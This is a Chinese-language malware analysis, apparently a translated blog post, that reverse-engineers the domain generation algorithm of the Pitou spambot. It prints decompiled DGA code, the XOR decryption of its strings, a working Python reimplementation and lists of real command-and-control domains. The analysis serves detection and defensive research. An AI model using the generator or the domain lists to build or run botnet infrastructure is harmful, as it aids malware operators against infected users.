方法2中的动态二进制转换生成的汇编程序行数比虚拟指令数少80%。然而，DGA仍然很长，如下面的两张图片所示。它们显示了DGA，以及其调用的一个函数，该函数得到基于日期的种子。
### DGA主方法
DGA算法：
### DGA种子
基于日期的种子：
通过IDA的反汇编图可以很容易地分析该DGA，因为它展示了函数的结构和控制流程。然而，这种情况下，IDA在的真正优势是Hex
Rays反编译器。像前面讲到的，DGA使用了许多优化的整数除法，即所谓的不变整数除法。这些计算在反汇编中是很麻烦的，但是利用Hex
Ray的反编译插件可以很好的处理。
### IDA Pro Hex Rays
本次DGA的逆向是完全基于Hex Ray反编译器的。
首先分析DGA调用的日期种子函数。它接收到参数的基于下面的设定：
* r8d：从1开始，所以每月的第一天为1；
* edx：从0开始，所以一月为0，十二月为11；
* ecx：四位数的年份。
月份从0开始的设定是错误的。真实的月份应该是从1开始的，所以一月应该为1。本节的第一部分在参数正确的设定上分析这个函数。而第二部分探究月份中不正确的值对本方法的影响。
首先看一下Hex Rays完整输出，其中隐藏了转换和声明：
signed __int64 __usercall days_since_epoch@<rax>(int month@<edx>, int year@<ecx>, int day@<r8d>)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
retaddr = v4;
month_o = month;
extra_years = month / 12;
year_f = extra_years + year;
month_fixed = (-12 * extra_years + month_o);
if ( month_fixed < 0 )
{
month_fixed = (month_fixed + 12);
--year_f;
}
month_fixed_2 = month_fixed;
day_0_based = (day - 1);
if ( day - 1 < 0 )
{
year_plus_1900 = year_f + 1900;
do
{
month_fixed = (month_fixed - 1);
if ( --month_fixed_2 < 0 )
{
month_fixed = 11LL;
--year_f;
--year_plus_1900;
month_fixed_2 = 11LL;
}
is_leap_year = !(year_plus_1900 % 4)
&& (year_plus_1900 != 100 * (year_plus_1900 / 100) || year_plus_1900 == 400 * (year_plus_1900 / 400));
*(&stack_ - 125) = a5;
a5 = *(&stack_ - 125);
day_0_based = (month_lengths_common_year[month_fixed_2 + 12 * is_leap_year] + day_0_based);
}
while ( day_0_based < 0 );
}
month_f = month_fixed;
year_f_plus_1900 = year_f + 1900;
while ( 1 )
{
year_div4_ = year_f_plus_1900 % 4;
leap_year = year_div4_
|| year_f_plus_1900 == 100 * (year_f_plus_1900 / 100) && year_f_plus_1900 != 400 * (year_f_plus_1900 / 400) ? 0LL : 1LL;
*(&stack_ - 125) = a5;
tmp = *(&stack_ - 125);
if ( day_0_based < month_lengths_common_year[month_f + 12 * leap_year] )
break;
leap_year_ = !year_div4_
&& (year_f_plus_1900 != 100 * (year_f_plus_1900 / 100)
|| year_f_plus_1900 == 400 * (year_f_plus_1900 / 400));
*(&stack_ - 125) = tmp;
a5 = *(&stack_ - 125);
index = month_f++ + 12 * leap_year_;
day_0_based = (day_0_based - month_lengths_common_year[index]);
if ( month_f == 12 )
{
month_f = 0LL;
++year_f;
++year_f_plus_1900;
}
}
years_since_epoch = year_f - 1970;
day_1_based = day_0_based + 1;
year_mod4 = year_f % 4;
year_mod4_is_1 = year_mod4 && year_mod4 < 2;
days_beg_year_with_rule_div4 = year_mod4_is_1 + years_since_epoch / 4 + 365 * (year_f - 1970);
year_mod100 = year_f % 100;
c1 = year_f % 100 && year_mod100 < 70;
days_beg_year_rule_div100 = -c1 - years_since_epoch / 100 + days_beg_year_with_rule_div4;
year_mod400 = year_f % 400;
c2 = year_mod400 && year_mod400 < 370;
c3 = (1374389535LL * years_since_epoch) >> 32;
days_in_months = 0LL;
days_beg_year_with_rule_div400 = c2 + (c3 >> 31) + (c3 >> 7) + days_beg_year_rule_div100;
for ( i = 0LL; i < month_f; days_in_months = (month_lengths_common_year[i_] + days_in_months) )
{
is_leap_year_1 = !year_mod4 && (year_mod100 || !year_mod400);
*(&stack_ - 125) = tmp;
tmp = *(&stack_ - 125);
i_ = i++ + 12 * is_leap_year_1;
}
*(&stack_ - 125) = tmp;
return days_in_months + days_beg_year_with_rule_div400 + day_1_based - 1;
**参数正确的情况**
如果日期是在预期范围内（实际上并没有在预期范围内，我们假设在），然后忽略开始的计算部分，即整个if代码块（if(day -1 <
0)）。因为break语句总是触发，所以while(1)代码块没有影响。
代码中包含*(&stack_ –
125)的行是临时堆栈变量[rsp-1000]的残留，二进制翻译时有时会修改这个变量，具体情况参阅二进制翻译部分。所有带有*(&stack_ –
125)的行都可以删除。所以可以简化代码：
signed __int64 __usercall days_since_epoch@<rax>(int month@<edx>, int year@<ecx>, int day@<r8d>)
{
year_f = year;
day_0_based = (day - 1);
month_f = month;
year_f_plus_1900 = year_f + 1900;
years_since_epoch = year_f - 1970;
day_1_based = day_0_based + 1;
year_mod4 = year_f % 4;
year_mod4_is_1 = year_mod4 && year_mod4 < 2;
days_beg_year_with_rule_div4 = year_mod4_is_1 + years_since_epoch / 4 + 365 * (year_f - 1970);
year_mod100 = year_f % 100;
c1 = year_f % 100 && year_mod100 < 70;
days_beg_year_rule_div100 = -c1 - years_since_epoch / 100 + days_beg_year_with_rule_div4;
year_mod400 = year_f % 400;
c2 = year_mod400 && year_mod400 < 370;
c3 = (1374389535LL * years_since_epoch) >> 32;
days_in_months = 0LL;
days_beg_year_with_rule_div400 = c2 + (c3 >> 31) + (c3 >> 7) + days_beg_year_rule_div100;
for ( i = 0LL; i < month_f; days_in_months = (month_lengths_common_year[i_] + days_in_months) )
{
is_leap_year_1 = !year_mod4 && (year_mod100 || !year_mod400);
i_ = i++ + 12 * is_leap_year_1;
}
return days_in_months + days_beg_year_with_rule_div400 + day_1_based - 1;
该代码计算自纪元以来的天数，即， 从1970年1月1日开始到现在的天数。它首先确定从1970年开始的过去了多少年。
year_f = year;
day_0_based = (day - 1);
month_f = month;
year_f_plus_1900 = year_f + 1900;
years_since_epoch = year_f - 1970;
然后，代码通过考虑每年是否是闰年来确定从纪元以来到提供的年份的天数。例如，如果函数被调用的日期是2017年11月2日，那么它将计算从纪元开始到2017年1月1日的天数。
day_1_based = day_0_based + 1;
year_mod4 = year_f % 4;
year_mod4_is_1 = year_mod4 && year_mod4 < 2;
days_beg_year_with_rule_div4 = year_mod4_is_1 + years_since_epoch / 4 + 365 * (year_f - 1970);
下面的代码纠正了一个事实：年份能被100整除的年份不是闰年。
year_mod100 = year_f % 100;
c1 = year_f % 100 && year_mod100 < 70;
days_beg_year_rule_div100 = -c1 - years_since_epoch / 100 + days_beg_year_with_rule_div4;
下面的代码解释了年份能被400整除是闰年的规则：
year_mod400 = year_f % 400;
c2 = year_mod400 && year_mod400 < 370;
c3 = (1374389535LL * years_since_epoch) >> 32;
days_in_months = 0LL;
days_beg_year_with_rule_div400 = c2 + (c3 >> 31) + (c3 >> 7) + days_beg_year_rule_div100;
现在代码正确地确定了给定日期到年初的天数。最后，它使用一个循环来累计每个月过去的天数：
for ( i = 0LL; i < month_f; days_in_months = (month_lengths_common_year[i_] + days_in_months) )
{
is_leap_year_1 = !year_mod4 && (year_mod100 || !year_mod400);
i_ = i++ + 12 * is_leap_year_1;
}
month_length_common_year列出了平年中的每月天数，紧接其后的是闰年中的每月的天数。如果需要，术语12 *
is_leap_year_1将切换到闰年的月份数组。
最后，代码将纪元到年初的天数、今年过去月份的天数（本年的第几个月）和当前的天数（本月的第几天）相加，减去1得到纪元以来的天数：
return days_in_months + days_beg_year_with_rule_div400 + day_1_based - 1;
### 实际参数的影响
当月份是从零开始时，上面的代码可以顺利的执行。然而，在获取日期时是通过函数RtlTimeToTimeFields，详情见DGA调用器。该函数返回从1到12的月份。在这些日期中执行计算天数的函数会发生什么呢？
情形1：既不是十二月，也不是月底。不是12月也不是28号后的日期会将实际日期变成下个月对应的日期。如：
实际日期 | 更改为 | 结果
---|---|---
28.3.2019 | 28.4.2019 | 0x465E
1.9.2017 | 1.10.2017 | 0x4420
1.1.2014 | 1.2.2014 | 0x30A1
30.11.2019 | 30.12.2019 | 0x4754
情形2：在月底但不是十二月。如果下个月的对应日期不存在，那么将日期移到下个月将会导致问题。例如，3月31日将会转移到4月31日，这是不存在的。在这种情况下，我们之前跳过的while(1)循环将会生效：
while ( 1 )
{
year_div4_ = year_f_plus_1900 % 4;
leap_year = year_div4_
|| year_f_plus_1900 == 100 * (year_f_plus_1900 / 100) && year_f_plus_1900 != 400 * (year_f_plus_1900 / 400) ? 0LL : 1LL;
if ( day_0_based < month_lengths_common_year[month_f + 12 * leap_year] )
break;
leap_year_ = !year_div4_
&& (year_f_plus_1900 != 100 * (year_f_plus_1900 / 100)
|| year_f_plus_1900 == 400 * (year_f_plus_1900 / 400));
index = month_f++ + 12 * leap_year_;
day_0_based = (day_0_based - month_lengths_common_year[index]);
if ( month_f == 12 )
{
month_f = 0LL;
++year_f;
++year_f_plus_1900;
}
}
进行测试：
day_0_based < month_lengths_common_year[month_f + 12 * leap_year]
这会检查日期是否存在于当前月份。如果不存在，则日期将适当地溢出到下一个月。代码甚至可以将日期在几个月之间进行修改，如，4月91日到6月30日。闰年也可以正确处理，见下表最后一行：
实际日期 | 更改为 | 结果
---|---|---
31.3.2019 | 1.5.2019 | 0x4661
30.11.2019 | 30.12.2019 | 0x4754
31.1.2019 | 3.3.2019 | 0x4626
31.1.2020 | 2.3.2020 | 0x4793
情形3：十二月。对于12月的日期，函数开始的处理是重要的:
month_o = month;
extra_years = month / 12;
year_f = extra_years + year;
month_fixed = (-12 * extra_years + month_o);
if ( month_fixed < 0 )
{
month_fixed = (month_fixed + 12);
--year_f;
}
变量extra_years是1，它以一年为单位递增。月份值减少12 (-12 * extra_years +
month_o)，即变成0则代表1月。因此,我们得到：
实际日期 | 更改为 | 结果
---|---|---
6.12.2019 | 6.1.2020 | 0x475B
### DGA函数
DGA如下所示。同样，虽然只有几行是多余的，但其输出也非常长。之后分别对算法的组成部分进行分析。
__int64 __usercall dga@<rax>(__int64 months@<rdx>, __int64 year@<rcx>, __int64 domaint_output@<r9>, int days@<r8d>, int domain_nr)
{
domain_out = domain_output;
vars30 = &vars38;
vars28 = a4;
vars20 = a3;
vars18 = a6;
vars10 = a7;
vars8 = a8;
j = 0LL;
domain = a5;
v20 = year;
random_numbers = 0;
magic_number = 0xDAFE02C;
days_since_1970_broken = days_since_epoch(months, year, days);
consonants = *pConsonants;
LOBYTE(v20) = v20 - 108;
retaddr = v20;
i = 0;
v25 = &v72;
seed_value = domain_nr / 3 + days_since_1970_broken;
if ( !*pConsonants )
{
consonants = (ExAllocatePool)(&v72, domain, 23LL, 0LL);
*pConsonants = consonants;
if ( decrypt_consonants )
{
key = 0x3365841C;
key_index = 0LL;
addr_encrypted_consonants = &encrypted_consonants;
do
{
key_index_1 = key_index;
++consonants;
++addr_encrypted_consonants;
key_byte = *(&key + key_index);
*(consonants - 1) = *(addr_encrypted_consonants - 1) ^ *(&key + key_index);
key_index = (key_index + 1) & 0x80000003;
*(&key + key_index_1) = 2 * key_byte ^ (key_byte >> 1);
if ( key_index < 0 )
key_index = ((key_index - 1) ^ 0xFFFFFFFC) + 1;
}
while ( addr_encrypted_consonants < &encrypted_consonants_end );
consonants = *pConsonants;
}
}
vowels = *pVowels;
if ( !*pVowels )
{
vowels = (ExAllocatePool)(&v72, domain, *pVowels + 7LL, 0LL);
*pVowels = vowels;
if ( decrypt_vowels )
{
key = -967459448;
key_index_2 = 0LL;
addr_encrypted_vowels = &encrypted_vowels;
do
{
key_index_3 = key_index_2;
++vowels;
++addr_encrypted_vowels;
key_byte_1 = *(&key + key_index_2);
*(vowels - 1) = *(addr_encrypted_vowels - 1) ^ *(&key + key_index_2);
key_index_2 = (key_index_2 + 1) & 0x80000003;
*(&key + key_index_3) = 2 * key_byte_1 ^ (key_byte_1 >> 1);
if ( key_index_2 < 0 )
key_index_2 = ((key_index_2 - 1) ^ 0xFFFFFFFC) + 1;
}
while ( addr_encrypted_vowels < &encrypted_vowels_end );
vowels = *pVowels;
}
}
tlds = pTLDs;
if ( !pTLDs )
{
tlds = (ExAllocatePool)(&v72, domain, pTLDs + 38, 0LL);
pTLDs = tlds;
if ( decrypt_tlds )
{
key = 2131189013;
key_index_4 = 0LL;
addr_encrypted_tlds = &encrypted_tlds;
do
{
v44 = key_index_4;
++tlds;
++addr_encrypted_tlds;
key_byte_2 = *(&key + key_index_4);
*(tlds - 1) = *(addr_encrypted_tlds - 1) ^ *(&key + key_index_4);
key_index_4 = (key_index_4 + 1) & 0x80000003;
*(&key + v44) = 2 * key_byte_2 ^ (key_byte_2 >> 1);
if ( key_index_4 < 0 )
key_index_4 = ((key_index_4 - 1) ^ 0xFFFFFFFC) + 1;
}
while ( addr_encrypted_tlds < &encrypted_tlds_end );
tlds = pTLDs;
}
}
tlds_1 = tlds;
v30 = &v72 - tlds;
do
{
v67 = *tlds_1;
tlds_1 = (tlds_1 + 1);
*(tlds_1 + v30 - 1) = v67;
}
while ( v67 );
if ( tlds )
{
(ExFreePool)(&v72, domain, v30, tlds);
pTLDs = 0LL;
}
v17 = 1LL;
v73 = &v72;
if ( v72 )
{
do
{
if ( *v25 == 44 )
{
*v25 = 0;
*&tld_array[8 * v17 - 49] = v25 + 1;
v17 = (v17 + 1);
}
v25 = (v25 + 1);
}
while ( *v25 );
}
counter_ = domain_nr;
round_seed_to_nearset_10 = 10 * (seed_value / 0xA);
seed_value = round_seed_to_nearset_10;
HIWORD(v39) = HIWORD(round_seed_to_nearset_10);
LOWORD(v39) = ((0xDAFE02Cu >> domain_nr) * (domain_nr - 1)) * round_seed_to_nearset_10;
LOBYTE(v39) = (v39 & 1) + 8;
domain_length = v39;
if ( v39 > 0 )
{
v41 = BYTE1(seed_value);
addr_random_numbers = &the_random_numbers;
do
{
ip1 = i++;
v50 = (ip1 >> 31) & 3;
v51 = v50 + ip1;
v52 = (v51 >> 2);
v53 = (v51 & 3) - v50;
if ( v53 )
{
v54 = v53 - 1;
if ( v54 )
{
v55 = v54 - 1;
if ( v55 )
{
if ( v55 == 1 )
{
++random_numbers;
v56 = (round_seed_to_nearset_10 << v52) ^ (v41 >> v52);
v57 = v52;
counter_ = domain_nr;
addr_random_numbers = (addr_random_numbers + 1);
*(addr_random_numbers - 1) = v56 * (*(&magic_number + v57) & 0xF) * (domain_nr + 1);
}
else
{
counter_ = domain_nr;
}
}
else
{
++random_numbers;
v15 = (v41 << v52) ^ (round_seed_to_nearset_10 >> v52);
v16 = v52;
counter_ = domain_nr;
addr_random_numbers = (addr_random_numbers + 1);
*(addr_random_numbers - 1) = v15 * (*(&magic_number + v16) >> 4) * (domain_nr + 1);
}
}
else
{
v31 = v52;
v32 = v52;
counter_ = domain_nr;
++random_numbers;
addr_random_numbers = (addr_random_numbers + 1);
*(addr_random_numbers - 1) = (*(&magic_number + v31) & 0xF) * (retaddr << v32) * (domain_nr + 1);
}
}
else
{
v63 = v52;
v64 = v52;
counter_ = domain_nr;
++random_numbers;
addr_random_numbers = (addr_random_numbers + 1);
*(addr_random_numbers - 1) = (*(&magic_number + v63) >> 4) * (retaddr >> v64) * (domain_nr + 1);
}
}
while ( random_numbers < domain_length );
domain = domain_out;
if ( domain_length > 0 )
{
while ( 1 )
{
v34 = j;
j = (j + 1);
v35 = *(&the_random_numbers + v34);
if ( (v35 & 0x80u) == 0 )
break;
*(++domain - 1) = *(consonants + (v35 % 21));
if ( j >= domain_length )
goto append_tld;
v36 = j;
j = (j + 1);
*(++domain - 1) = *(vowels + (*(&the_random_numbers + v36) % 5));
if ( j >= domain_length )
goto append_tld;
r = *(&the_random_numbers + j);
LOBYTE(r) = r & 64;
if ( r )
{
*(++domain - 1) = *(vowels + (r % 5));
_addr_FFFFF880058745FC:
j = (j + 1);
}
if ( j >= domain_length )
goto append_tld;
}
*domain = *(vowels + (v35 % 5));
domain += 2;
*(domain - 1) = *(consonants + (*(&the_random_numbers + j) % 21));
goto _addr_FFFFF880058745FC;
}
}
append_tld:
*domain = '.';
tld = *&tld_array[8 * ((counter_ ^ round_seed_to_nearset_10 ^ 0xDAFE02C) % 9) - 49];
dmtld = domain - tld;
do
{
result = *tld;
tld = (tld + 1);
*(tld + dmtld) = result;
}
while ( result );
return result;
}
**种子**
种子的主要部分在函数days_since_epoch中。种子值与域名计数器相结合，并且存在一个为10天的间隔：
days_since_1970_broken = days_since_epoch(months, year, days);
...
seed_value = domain_nr / 3 + days_since_1970_broken;
...
round_seed_to_nearset_10 = 10 * (seed_value / 10);
seed_value = round_seed_to_nearset_10;
大多数情况下，种子会保持10天不变。从纪元开始到目前的天数计算错误并不重要，这个值只用于播种，并且每天都会更换。这种情况几乎适用于所有的日子，除了少数边缘情况，这时，两天会有相同的种子（例如2019年1月29日和2019年2月1日返回相同的值）。错误的计算还可以缩短或延长10天的窗口。最长的窗口是13天，1月底的时候会发生，例如：2019-01-23到2019-02-04。2月底的窗口最短，之有7天的窗口：2019-02-25到2019-03-03。在极少数情况下，窗口仅为1天，下一次将在2025年01月31日发生。
种子也使用一个魔法数字：
magic_number = 0xDAFE02C;
根据F-Secure，这意味着Pitou版本为33。它们将0xDAFE02D作为版本31的第二个种子。
**加密的字符串**
DGA使用三个加密的字符串： 元音、辅音和顶级域。DGA在运行时首先对这些字符串进行解密。加密是用一个四个字节密钥的滚动异或，每次循环根据key =
(key<<1) ^ (key >>1)进行更新：
if ( !*pConsonants )
{
consonants = (ExAllocatePool)(&v72, domain, 23LL, 0LL);
*pConsonants = consonants;
if ( decrypt_consonants )
{
key = 0x3365841C;
key_index = 0LL;
addr_encrypted_consonants = &encrypted_consonants;
do
{
key_index_1 = key_index;
++consonants;
++addr_encrypted_consonants;
key_byte = *(&key + key_index);
*(consonants - 1) = *(addr_encrypted_consonants - 1) ^ *(&key + key_index);
key_index = (key_index + 1) & 0x80000003;
*(&key + key_index_1) = 2 * key_byte ^ (key_byte >> 1);
if ( key_index < 0 )
key_index = ((key_index - 1) ^ 0xFFFFFFFC) + 1;
}
while ( addr_encrypted_consonants < &encrypted_consonants_end );
consonants = *pConsonants;
}
}
**二级域名长度**
二级域的长度计算如下：
counter_ = domain_nr;
round_seed_to_nearset_10 = 10 * (seed_value / 0xA);
seed_value = round_seed_to_nearset_10;
HIWORD(v39) = HIWORD(round_seed_to_nearset_10);
LOWORD(v39) = ((0xDAFE02Cu >> domain_nr) * (domain_nr - 1)) * round_seed_to_nearset_10;
LOBYTE(v39) = (v39 & 1) + 8;
domain_length = v39;
这将导致二级域的长度为8到9。
**随机数**
种子被转换成随机数。种子被视为一个16位的值，它被分成4个4位的值。然后使用这些值生成组成域名的字母。由于种子中更重要的位变化较慢，所以域名中位于3、4和7、8位置的字母变化的更加频繁。例如，这些是2019年6月1日、6月10日和6月20日的域名：
zuoezaxa�.name
zuopabma.org
zuojabba.mobi
为什么字符�会出现在域名zuoezaxa�.name中呢？Pitou有一个严重的问题。即使选择二级域的长度为9个字符，但其只能计算8个随机数。所以第9个字符是从未定义的内存中读取的。这意味着二级域的最后一个字符是不确定的。只有长度为8
的二级域的域名是有效的。
**所使用字母**
两个数组提供组成二级域的字母：元音数组（aeiou）和辅音数组（bcdfghjklmnpqrstvwxyz）。这使得组成的域名看起来更自然。
**使用的顶级域**
顶级域也是从一组硬编码列表中选择：com, org, biz, net, info, mobi, us, name, me。
**Python重新实现**
这个DGA非常混乱，即使使用Python重新实现也很难读懂。
import argparse
from datetime import date, datetime, timedelta
from calendar import monthrange
def date2seed(d):
year_prime = d.year
month_prime = (d.month + 1)
day_prime = d.day
if month_prime > 12:
month_prime -= 12
year_prime += 1
_, monthdays = monthrange(year_prime, month_prime)
if day_prime > monthdays:
month_prime += 1
day_prime -= monthdays
if month_prime > 12:
month_prime -= 12
year_prime += 1
date_prime = date(year_prime, month_prime, day_prime)
epoch = datetime.strptime("1970-01-01", "%Y-%m-%d").date()
return (date_prime - epoch).days
def dga(year, seed, counter, magic):
seed_value = 10*( (counter//3 + seed) // 10)
year_since = year - 1900
random_numbers = []
a = (magic >> counter)
b = (counter - 1) & 0xFF
d = a*b & 0xFF
e = d*seed_value
sld_length = 8 + (e & 1)
magic_list = []
for i in range(4):
magic_list.append((magic >> (i*8)) & 0xFF)
for i in range(8):
imod = i % 4
idiv = i // 4
b1 = (seed_value >> 8) & 0xFF
b0 = seed_value & 0xFF
if imod == 0:
m = magic_list[idiv] >> 4
f = (year_since >> idiv)
elif imod == 1:
m = magic_list[idiv] & 0xF
f = (year_since << idiv)
elif imod == 2:
m = magic_list[idiv] >> 4
f = (b1 << idiv) ^ (b0 >> idiv)
elif imod == 3:
m = magic_list[idiv] & 0xF
f = (b0 << idiv) ^ (b1 >> idiv)
cp = (counter + 1)
r = (m*f & 0xFF) *cp
random_numbers.append(r & 0xFF)
random_numbers.append(0xE0)
r = random_numbers
vowels = "aeiou"
consonants = "bcdfghjklmnpqrstvwxyz"
sld = ""
while True:
x = r.pop(0)
if x & 0x80:
sld += consonants[x % len(consonants)]
if len(sld) >= sld_length:
break
x = r.pop(0)
sld += vowels[x % len(vowels)]
if len(sld) >= sld_length:
break
x = r[0]
if x & 0x40:
r.pop(0)
sld += vowels[x % len(vowels)]
if len(sld) >= sld_length:
break
else:
sld += vowels[x % len(vowels)]
x = r.pop(0)
sld += consonants[x % len(consonants)]
if len(sld) >= sld_length:
break
tlds = ['com', 'org', 'biz', 'net', 'info', 'mobi', 'us', 'name', 'me']
q = (counter ^ seed_value ^ magic) & 0xFFFFFFFF
tld = tlds[q % len(tlds)]
if len(sld) > 8:
lc = sld[-1]
sld = sld[:-1]
if lc in consonants:
sld_c = [sld + c for c in consonants]
else:
sld_c = [sld + c for c in vowels]
return [s + "." + tld for s in sld_c]
else:
return sld + "." + tld
if __name__=="__main__":
parser = argparse.ArgumentParser(description="DGA of Pitou")
parser.add_argument("-d", "--date",
help="date for which to generate domains, e.g., 2019-04-09")
parser.add_argument("-m", "--magic", choices=["0xDAFE02D", "0xDAFE02C"],
default="0xDAFE02C", help="magic seed")
args = parser.parse_args()
if args.date:
d = datetime.strptime(args.date, "%Y-%m-%d")
else:
d = datetime.now()
for c in range(20):
seed = date2seed(d)
domains = dga(d.year, seed, c, int(args.magic, 16))
if type(domains) == str:
print(domains)
else:
l = len(domains[0]) + 1
print(l*"-" + "+")
for i, domain in enumerate(domains):
if i == len(domains)//2:
label = "one of these"
print("{} +--{}".format(domain, label))
else:
print("{} |".format(domain))
print(l*"-" + "+")
对于所有二级域长度为9的域名，代码打印所有可能的域名(参见随机数中的bug)：
▶ python3 dga.py -d 2019-06-10
-------------+
koupoalab.me |
koupoalac.me |
koupoalad.me |
koupoalaf.me |
koupoalag.me |
koupoalah.me |
koupoalaj.me |
koupoalak.me |
koupoalal.me |
koupoalam.me |
koupoalan.me +--one of these
koupoalap.me |
koupoalaq.me |
koupoalar.me |
koupoalas.me |
koupoalat.me |
koupoalav.me |
koupoalaw.me |
koupoalax.me |
koupoalay.me |
koupoalaz.me |
-------------+
**特性**
下表总结了Pitou的DGA的特性。
属性 | 值
---|---
类型 | 依赖时间的确定性的（TDD ，time-dependent-deterministic），一定程度上可以扩展为依赖时间的不确定性的（ TDN
，time-dependent non-deterministic）
生成模式 | 移位的种子
种子 | 魔法数字加当前日期
域名变化频率 | 大部分是每10天更新一次，最少1天更新，最多13天更新
每天域名数 | 20
序列 | 连续的
域名间的等待时间 | 无
顶级域 | com, org, biz, net, info, mobi, us, name, me
二级域字符 | a-z
二级域长度 | 8或 9
**与公开报告比较**
对于列出的之前工作中的所有报告，我检查了所有提及的域名都已经包含在本文中所提出的DGA中。你可以在这里找到2015 –
2021年之间[0xdafe02c](https://www.johannesbader.ch/2019/07/the-dga-of-pitou/2019-07-08-the-dga-of-pitou/0xdafe02c.txt)和[0xdafe02d](https://www.johannesbader.ch/2019/07/the-dga-of-pitou/2019-07-08-the-dga-of-pitou/0xdafe02d.txt)两个种子的域名列表。我对DGA的重新实现覆盖了报告中的所有域名。
Pitou -臭名昭著的Srizbi内核垃圾邮件机器人悄悄复活（Pitou – The “silent” resurrection of the
notorious Srizbi kernel spambot）
[f-Secure的报告](https://www.f-secure.com/documents/996508/1030745/pitou_whitepaper.pdf)没有列出任何Pitou
DGA域名。
bootkit并没有死，Pitou回归!（Bootkits are not dead. Pitou is back!）
C.R.A.M
2018年1月15日的[报告](http://www.tgsoft.it/english/news_archivio_eng.asp?id=884)，列出了四个域名：
域名 | 种子 | 首次生成时间 | 有效时间
---|---|---|---
unpeoavax.mobi | 0xDAFE02C | 2017-10-04 | 2017-10-13
ilsuiapay.us | 0xDAFE02C | 2017-10-04 | 2017-10-13
ivbaibja.net | 0xDAFE02C | 2017-10-08 | 2017-10-17
asfoeacak.info | 0xDAFE02C | 2017-10-08 | 2017-10-17
平台开发工具传播Pitou.B木马（Rig Exploit Kit sends Pitou.B Trojan）
布拉德·邓肯(Brad Duncan)于2019年6月25日发表在SANS Internet Storm
Center的[文章](https://isc.sans.edu/diary/rss/25068)，引用了优秀的恶意软件流量分析博客上的一个Pitou
PCAP包。[注：PACP流量数据包]
域名 | 种子 | 首次生成时间 | 有效时间
---|---|---|---
rogojaob.info | 0xDAFE02C | 2019-06-23 | 2019-07-01
wiejlauas.info | 0xDAFE02C | 2019-06-18 | 2019-06-27
yoevuajas.us | 0xDAFE02C | 2019-06-22 | 2019-06-30
ijcaiatas.name | 0xDAFE02C | 2019-06-19 | 2019-06-28
piiaxasas.com | 0xDAFE02C | 2019-06-19 | 2019-06-28
caoelasas.name | 0xDAFE02C | 2019-06-22 | 2019-06-30
naaleazas.net | 0xDAFE02C | 2019-06-23 | 2019-07-01
epcioalas.info | 0xDAFE02C | 2019-06-20 | 2019-06-29
oltaeazas.mobi | 0xDAFE02C | 2019-06-20 | 2019-06-29
suudaacas.org | 0xDAFE02C | 2019-06-18 | 2019-06-27
giazfaeas.me | 0xDAFE02C | 2019-06-21 | 2019-06-30
zuojabba.mobi | 0xDAFE02C | 2019-06-18 | 2019-06-27
unufabub.net | 0xDAFE02C | 2019-06-21 | 2019-06-30
ufayubja.me | 0xDAFE02C | 2019-06-19 | 2019-06-28
huoseavas.name | 0xDAFE02C | 2019-06-17 | 2019-06-26
irifyara.com | 0xDAFE02C | 2019-06-21 | 2019-06-30
vaxeiayas.mobi | 0xDAFE02C | 2019-06-22 | 2019-06-30
kooovaqas.biz | 0xDAFE02C | 2019-06-23 | 2019-07-01
dienoalas.us | 0xDAFE02C | 2019-06-17 | 2019-06-26
amlivaias.us | 0xDAFE02C | 2019-06-20 | 2019-06-29
Brad Duncan也对另一个Pitou样本进行了分析，写了另一篇[博客文章](https://www.malware-traffic-analysis.net/2019/06/25/index.html)，他提供了一个PCAP包，其中包含以下Pitou域名：
域名 | 种子 | 首次生成时间 | 有效时间
---|---|---|---
amlivaias.us | 0xDAFE02C | 2019-06-20 | 2019-06-29
piiaxasas.com | 0xDAFE02C | 2019-06-19 | 2019-06-28
zuojabba.mobi | 0xDAFE02C | 2019-06-18 | 2019-06-27
vaxeiayas.mobi | 0xDAFE02C | 2019-06-22 | 2019-06-30
giazfaeas.me | 0xDAFE02C | 2019-06-21 | 2019-06-30
oltaeazas.mobi | 0xDAFE02C | 2019-06-20 | 2019-06-29
rogojaob.info | 0xDAFE02C | 2019-06-23 | 2019-07-01
irifyara.com | 0xDAFE02C | 2019-06-21 | 2019-06-30
ufayubja.me | 0xDAFE02C | 2019-06-19 | 2019-06-28
naaleazas.net | 0xDAFE02C | 2019-06-23 | 2019-07-01
dienoalas.us | 0xDAFE02C | 2019-06-17 | 2019-06-26
kooovaqas.biz | 0xDAFE02C | 2019-06-23 | 2019-07-01
suudaacas.org | 0xDAFE02C | 2019-06-18 | 2019-06-27
wiejlauas.info | 0xDAFE02C | 2019-06-18 | 2019-06-27
unufabub.net | 0xDAFE02C | 2019-06-21 | 2019-06-30
yoevuajas.us | 0xDAFE02C | 2019-06-22 | 2019-06-30
epcioalas.info | 0xDAFE02C | 2019-06-20 | 2019-06-29
huoseavas.name | 0xDAFE02C | 2019-06-17 | 2019-06-26
caoelasas.name | 0xDAFE02C | 2019-06-22 | 2019-06-30
ijcaiatas.name | 0xDAFE02C | 2019-06-19 | 2019-06-28
木马Pitou.B（Trojan.Pitou.B）
赛门铁克（Symantec ）对Pitou的[技术描述](https://www.symantec.com/security-center/writeup/2016-011823-3733-99)列出了20个域名。
域名 | 种子 | 首次生成时间 | 有效时间
---|---|---|---
ecqevaaam.net | 0xDAFE02D | 2016-01-06 | 2016-01-15
yaefobab.info | 0xDAFE02D | 2016-01-09 | 2016-01-18
alguubub.mobi | 0xDAFE02D | 2016-01-14 | 2016-01-23
dueifarat.name | 0xDAFE02D | 2016-01-14 | 2016-01-23
ehbooagax.info | 0xDAFE02D | 2016-01-13 | 2016-01-22
igocobab.com | 0xDAFE02D | 2016-01-08 | 2016-01-17
utleeawav.us | 0xDAFE02D | 2016-01-14 | 2016-01-23
wuomoalan.us | 0xDAFE02D | 2016-01-06 | 2016-01-15
coosubca.mobi | 0xDAFE02D | 2016-01-09 | 2016-01-18
seeuvamap.mobi | 0xDAFE02D | 2016-01-06 | 2016-01-15
hioxcaoas.me | 0xDAFE02D | 2016-01-15 | 2016-01-24
upxoearak.biz | 0xDAFE02D | 2016-01-07 | 2016-01-16
oxepibib.net | 0xDAFE02D | 2016-01-07 | 2016-01-16
ruideawaf.us | 0xDAFE02D | 2016-01-08 | 2016-01-17
agtisaib.info | 0xDAFE02D | 2016-01-07 | 2016-01-16
neaqaaxag.org | 0xDAFE02D | 2016-01-08 | 2016-01-17
pooexaxaq.org | 0xDAFE02D | 2016-01-15 | 2016-01-24
iyweialay.net | 0xDAFE02D | 2016-01-13 | 2016-01-22
laagubha.com | 0xDAFE02D | 2016-01-15 | 2016-01-24
viurjaza.name | 0xDAFE02D | 2016-01-09 | 2016-01-18
